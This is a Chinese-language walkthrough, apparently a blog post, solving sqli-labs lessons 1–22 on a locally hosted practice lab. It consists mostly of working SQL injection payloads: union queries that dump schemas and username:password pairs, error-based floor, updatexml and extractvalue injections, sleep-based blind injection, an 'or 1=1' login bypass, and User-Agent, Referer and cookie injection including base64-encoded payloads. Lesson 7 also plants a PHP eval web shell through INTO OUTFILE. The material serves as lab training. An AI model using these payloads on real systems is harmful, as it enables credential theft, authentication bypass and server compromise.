lesson1:
插入单引号报错
![](https://img.haomeiwen.com/i15184404/e441bea7dabb805d.png)
id被单引号包裹,确认字段数
?id=1' order by 3--+
字段为3,使用union select 1,2,3联合查询语句查看页面是否有显示位
?id=-1' union select 1,2,3--+
![](https://img.haomeiwen.com/i15184404/9425460e4df28165.png)
有两个显示位,接下来开始爆库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
![](https://img.haomeiwen.com/i15184404/8404d734539c5715.png)
爆表
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
![](https://img.haomeiwen.com/i15184404/97f0abd40bfc6e69.png)
爆列
select group_concat(column_name) from information_schema.columns where table_name='users'
![](https://img.haomeiwen.com/i15184404/0002095493342862.png)
爆值
union select 1,group_concat(username,0x3a,password),3 from users
![](https://img.haomeiwen.com/i15184404/6dbfe7a0ed9d66e6.png)
lesson2:
插入单引号
![](https://img.haomeiwen.com/i15184404/ad66db0abfa7a16c.png)
由报错判断为数字型注入,注入方法同上,把单引号去掉就好
![](https://img.haomeiwen.com/i15184404/fa0c243fb3d21c45.png)
lesson:3
插入单引号报错,输入?id=1')--+发现可以正常显示,判定为字符型注入
![](https://img.haomeiwen.com/i15184404/45ebea2adbbdb27f.png)
注入方法同上,在单引号后面加个括号即可
![](https://img.haomeiwen.com/i15184404/64a8860cec66bcb6.png)
lesson4:
插入单引号没反应,换用双引号后报错,注入方法同上
![](https://img.haomeiwen.com/i15184404/a2e10d717c5365dd.png)
lesson:5
![](https://img.haomeiwen.com/i15184404/386f9903b81d1eaf.png)
看到这个报错有可能是布尔型盲注,时间盲注,报错注入
注入
?id=1’ and sleep(5)--+发现有延迟
![](https://img.haomeiwen.com/i15184404/a4b6f6948c3186db.png)
考虑使用报错注入
1. 通过floor报错
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
2. 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
3. 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
使用floor报错语句注入
?id=1' and (select 1 from (select count(),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)2))x from information_schema.tables group by x)a) --+
![](https://img.haomeiwen.com/i15184404/821f376a53eca1eb.png)
输出信息超过一行,只能用limit 0,1一个个输出了
?id=1' and (select 1 from (select count(),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)2))x from information_schema.tables group by x)a) --+
![](https://img.haomeiwen.com/i15184404/cf1146ea53e68e73.png)
库名出来了,接下来方法就和之前一样了
lesson6:
同样的原理,把?id=1'的单引号换成双引号就行
lesson7:
输入?id=1
![](https://img.haomeiwen.com/i15184404/de9a2c4fb7c22969.png)
输入?id=1 and 1=2回显正常,不是数值型注入
尝试加入单引号发现报错,换成双引号也是一样,加上)依然报错
输入id=5')) --+
![](https://img.haomeiwen.com/i15184404/913d689d8ac8c6df.png)
暗示向服务器写文件?
因为我用的是phpstudy搭的环境,所以我直接用电脑上的目录
使用语句
union select 1,2,3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\wh1te.php"
![](https://img.haomeiwen.com/i15184404/fcdf2652ca667fe2.png)
写入成功
上传木马,使用cknife链接
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\muma.php" --+
![](https://img.haomeiwen.com/i15184404/bf58a421ea9e161c.png)
lesson8:
输入?id=2' --+回显正常
![](https://img.haomeiwen.com/i15184404/22dd2b547bd10b8e.png)
字符型注入,方法同上
lesson9:
输入?id=1' and sleep(5) --+存在延迟,判断为延迟型注入
![](https://img.haomeiwen.com/i15184404/b1e332f5c9fd4a17.png)
lesson10:
同上,单引号换双引号
lesson11:
登陆界面,使用万能密码
admin' or 1=1#
![](https://img.haomeiwen.com/i15184404/00e825fafd579c70.png)
登陆成功,开爆
爆库:
admin' union select 1,group_concat(schema_name) from information_schema.schemata #
爆表:
admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段:
admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
lesson12:
admin") or 1=1 #
之后方法同上
lesson13:
admin') or 1=1#
![](https://img.haomeiwen.com/i15184404/5548501fcf7543cb.png)
页面无返回信息,只能进行盲注
猜长度
admin') or length(database())>要猜的长度 and sleep(5)#
猜库名:
admin') or left(version(),1)>'要猜的库名' and sleep(5)#
猜表名:
admin') or ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>要猜的表名ASCII and sleep(5)#
lesson14:
admin“ or 1=1#
之后方法同上
lesson15:
admin' or 1=1#
之后方法同上
lesson16:
admin") or 1=1 #
和上面一样,无返回信息,但是可以使用延时注入判断注入点
admin") and sleep(5) #
其余同上
lesson17:
做到自闭,查看源码
![](https://img.haomeiwen.com/i15184404/436e7b76325da4d6.png)
加了用户名注入过滤,但是没有密码注入过滤,所以。。。你懂的
![](https://img.haomeiwen.com/i15184404/a975ddbefd842ca0.jpg)
lesson18:
莫得用户名和密码注入了
![](https://img.haomeiwen.com/i15184404/392f0b7426dd524f.png)
查看源码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
存在利用构造User Agent进行注入的可能,上brupsuit抓包改User Agent
' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #
得到mysql版本
![](https://img.haomeiwen.com/i15184404/7aa72f550de5cdce.png)
同理,可得表名等信息
表名
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) , 1, 1) #
lesson19:
Refer注入
' or (select 1 from (select count(),concat(database(), '~' , floor (rand()2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#
![]()
其余方法同上
lesson20:
查看源码
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
存在cookie注入
uname = ' union select 1 , 2 , database()#
![](https://img.haomeiwen.com/i15184404/688ec31978908711.png)
其他同理
lesson21
和上题一样,属于cookie注入,先看源码
![](https://img.haomeiwen.com/i15184404/cbe7f60b774fa86d.png)
和上题基本一样,之不过给用户名(uname)进行了base64加密,对注入语句进行加密即可
注入语句:
admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后payload:
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
![](https://img.haomeiwen.com/i15184404/1b483098d52c9c3e.png)
报错注入
lesson22
与上题基本一样,'改成”即可
" union select 1,2,database()#
payload:IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
![](https://img.haomeiwen.com/i15184404/cd7ab724744bde04.png)
网友评论